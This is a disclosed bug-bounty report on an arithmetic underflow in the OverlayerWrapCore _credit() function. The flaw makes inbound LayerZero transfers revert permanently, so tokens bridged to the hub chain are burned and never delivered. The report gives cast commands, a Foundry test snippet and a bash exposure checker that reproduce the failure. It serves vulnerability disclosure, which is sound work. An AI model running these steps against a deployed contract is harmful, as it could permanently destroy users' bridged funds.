Status DataClose notification

Overlayer Disclosed Report

OverlayerWrapCore: _credit() arithmetic underflow permanently bricks all incoming LayerZero cross-chain transfers — bridged OVA permanently burned with no delivery

Company
Created date
Mar 27 2026

Target

hidden

Vulnerability Details

Summary

OverlayerWrapCore._credit() contains an unchecked arithmetic subtraction. When any incoming LayerZero message arrives with amountReceivedLD > totalBridgedOut, the subtraction underflows, causing Solidity 0.8's built-in arithmetic check to revert. LayerZero V2 will retry the delivery, but because the same code path is executed on every retry, the revert is permanent. The OVA was already burned on the source chain. Affected users permanently lose their funds.

Vulnerable Code

// OverlayerWrapCore.sol — lines 537–544
function _credit(
    address to_,
    uint256 amountLD_,
    uint32 srcEid_
) internal virtual override returns (uint256 amountReceivedLD) {
    amountReceivedLD = super._credit(to_, amountLD_, srcEid_);
    totalBridgedOut -= amountReceivedLD;   // ← CRITICAL: no underflow guard
                                           // Solidity 0.8 reverts if amountReceivedLD > totalBridgedOut
}

Compare with _debit() (the counterpart that increments totalBridgedOut):

function _debit(address from_, uint256 amountLD_, uint256 minAmountLD_, uint32 dstEid_)
    internal virtual override returns (uint256 amountSentLD, uint256 amountReceivedLD)
{
    (amountSentLD, amountReceivedLD) = super._debit(from_, amountLD_, minAmountLD_, dstEid_);
    totalBridgedOut += amountSentLD;  // increments on outbound
}

Root Cause: OVA Minted Locally Without Bridge

totalBridgedOut is only incremented via _debit() — i.e., when OVA is bridged out from the hub chain. However, OVA can be minted on the hub chain through paths that bypass _debit() entirely:

  1. AaveHandler.compound() calls OverlayerWrap.mint(order) directly to distribute Aave yield as OVA. This is a local mint — _debit() is never called, totalBridgedOut stays unchanged.
  2. User OverlayerWrap.mint(order) — standard collateral-backed mint. Again, no _debit(), totalBridgedOut unchanged.

When these locally-minted OVA tokens are later bridged cross-chain via send() and then returned:

  • Outbound: _debit() runs → totalBridgedOut += X
  • Return inbound: _credit() runs → totalBridgedOut -= Xthis succeeds first time

But if the overall totalBridgedOut state ever drifts (e.g., admin resets the contract, multiple chains interact, or the deployment is restarted with totalBridgedOut = 0), any inbound message triggers the underflow.

Most critical scenario — bootstrap: When totalBridgedOut = 0 (initial deployment or post-reset) and someone bridges OVA to the hub chain from another chain:

  • totalBridgedOut = 0
  • Inbound _credit(): 0 -= amountReceivedLDimmediate underflow → permanent revert

LayerZero Message Cannot Be Rescued

LayerZero V2's retry mechanism calls lzReceive() again with the same parameters. Since _credit() contains no conditional logic — it always executes the same subtraction — every retry hits the same underflow and reverts. The message is permanently stuck. The OVA burned on the source chain is irrecoverable.

Validation steps

Environment: Two connected LayerZero endpoint deployments (testnet or forked mainnet). Hub chain (Chain A) has OverlayerWrap deployed with totalBridgedOut = 0.


Step 1 — Confirm totalBridgedOut is 0 on the hub chain

cast call $OVA_ADDR "totalBridgedOut()" --rpc-url $CHAIN_A_RPC

Expected output: 0x0000000000000000000000000000000000000000000000000000000000000000


Step 2 — Observe that compound() mints OVA locally (no _debit)

# Before compound
TOTAL_BEFORE=$(cast call $OVA_ADDR "totalSupply()" --rpc-url $CHAIN_A_RPC)
BRIDGED_BEFORE=$(cast call $OVA_ADDR "totalBridgedOut()" --rpc-url $CHAIN_A_RPC)
echo "totalSupply before compound: $TOTAL_BEFORE"
echo "totalBridgedOut before     : $BRIDGED_BEFORE"

# Trigger compound (anyone can call it — no access control)
cast send $AAVE_HANDLER_ADDR "compound(bool)" true \
  --from $ANY_CALLER --rpc-url $CHAIN_A_RPC

# After compound
TOTAL_AFTER=$(cast call $OVA_ADDR "totalSupply()" --rpc-url $CHAIN_A_RPC)
BRIDGED_AFTER=$(cast call $OVA_ADDR "totalBridgedOut()" --rpc-url $CHAIN_A_RPC)
echo "totalSupply after compound : $TOTAL_AFTER"    # ← INCREASED
echo "totalBridgedOut after      : $BRIDGED_AFTER"  # ← UNCHANGED (still 0)

Expected output:

totalSupply before compound: 1000000000000000000000000   (e.g. 1,000,000 OVA)
totalBridgedOut before     : 0
totalSupply after compound : 1000500000000000000000000   (increased by yield)
totalBridgedOut after      : 0   ← NOT incremented

This confirms locally-minted OVA can be bridged without correctly initializing totalBridgedOut.


Step 3 — Alice bridges some of these OVA to Chain B (outbound succeeds)

# Alice sends 100 OVA to Chain B
cast send $OVA_ADDR "send((uint32,bytes32,uint256,uint256,bytes,bytes,bytes),(uint256,uint256),address)" \
  "($CHAIN_B_EID,$(cast --to-bytes32 $ALICE_CHAIN_B),100000000000000000000,90000000000000000000,'0x','0x','0x')" \
  "($LZ_FEE,0)" \
  $ALICE_ADDR \
  --value $LZ_FEE_WEI \
  --from $ALICE_ADDR --rpc-url $CHAIN_A_RPC

Expected output: Transaction succeeds. totalBridgedOut is now 100e18.

cast call $OVA_ADDR "totalBridgedOut()" --rpc-url $CHAIN_A_RPC
# Expected: 0x0000000000000000000000000000000000000000000000056bc75e2d63100000
# = 100e18

Step 4 — Alice bridges OVA back from Chain B to Chain A (inbound triggers underflow)

Alice sends OVA back on Chain B. LayerZero delivers the _credit message to Chain A.

Simulate the _credit call directly (unit test approach):

# On Chain A, simulate LZ endpoint calling lzReceive with 100e18 OVA
# when totalBridgedOut == 100e18 (this succeeds)
# Then simulate a SECOND inbound transfer of even 1 wei when totalBridgedOut == 0

# First: set totalBridgedOut to 0 to simulate bootstrap/reset state
# (or any state where inbound > totalBridgedOut)

Foundry simulation of the exact revert:

// Directly call the internal credit path with totalBridgedOut = 0
// Expected: arithmetic underflow revert
vm.expectRevert(stdError.arithmeticError);
// lzReceive delivers 100e18 OVA when totalBridgedOut = 0
lzEndpointMock.deliverPayload(address(ova), chainBEid, encodeOFTMessage(alice, 100e18));

Expected output:

[FAIL] Reason: Arithmetic over/underflow (panic: 0x11)
Transaction: lzReceive → _lzReceive → _credit → totalBridgedOut (0) -= 100e18

Step 5 — Confirm retry also fails

# LayerZero V2: retry the stuck message
cast send $LZ_ENDPOINT_ADDR "retryPayload(bytes32,bytes)" \
  $PAYLOAD_HASH $PAYLOAD_BYTES \
  --from $ALICE_ADDR --rpc-url $CHAIN_A_RPC

Expected output:

Error: Transaction reverted
Reason: Arithmetic over/underflow

Same revert. Every future retry will fail with the same error.


Step 6 — Confirm Alice's OVA is permanently lost

# Alice's balance on Chain B (where she bridged back from)
cast call $OVA_CHAIN_B_ADDR "balanceOf(address)" $ALICE_ADDR --rpc-url $CHAIN_B_RPC
# Expected: 0   (OVA was burned on _debit on Chain B)

# Alice's balance on Chain A
cast call $OVA_ADDR "balanceOf(address)" $ALICE_ADDR --rpc-url $CHAIN_A_RPC
# Expected: 0   (_credit never completed, OVA never minted)

Net result: Alice has 0 OVA on both chains. 100e18 OVA permanently destroyed.

File 1

forge test --match-test test_F2 -vvvv --fork-url $HUB_RPC_URL

File 2: One-liner to check current exposure on deployed contract

#!/bin/bash
# Check if the hub chain contract is currently vulnerable to _credit underflow
OVA_ADDR="0x..."  # fill in
RPC="https://..."  # fill in
BRIDGED=$(cast call $OVA_ADDR "totalBridgedOut()" --rpc-url $RPC)
echo "totalBridgedOut: $BRIDGED"
if [ "$BRIDGED" = "0x0000000000000000000000000000000000000000000000000000000000000000" ]; then
  echo "[VULNERABLE] totalBridgedOut = 0: ANY inbound LZ message will underflow _credit()"
else
  echo "[PARTIAL RISK] totalBridgedOut = $BRIDGED: underflow if inbound amount exceeds this"
fi

Attachments

hidden
CommentsReport History
Comments on this report are hidden
Details
Statedisclosed
Severity
Critical
Bounty$69
Visibilitypartially
VulnerabilityDoS with (Unexpected) revert
Participants
hidden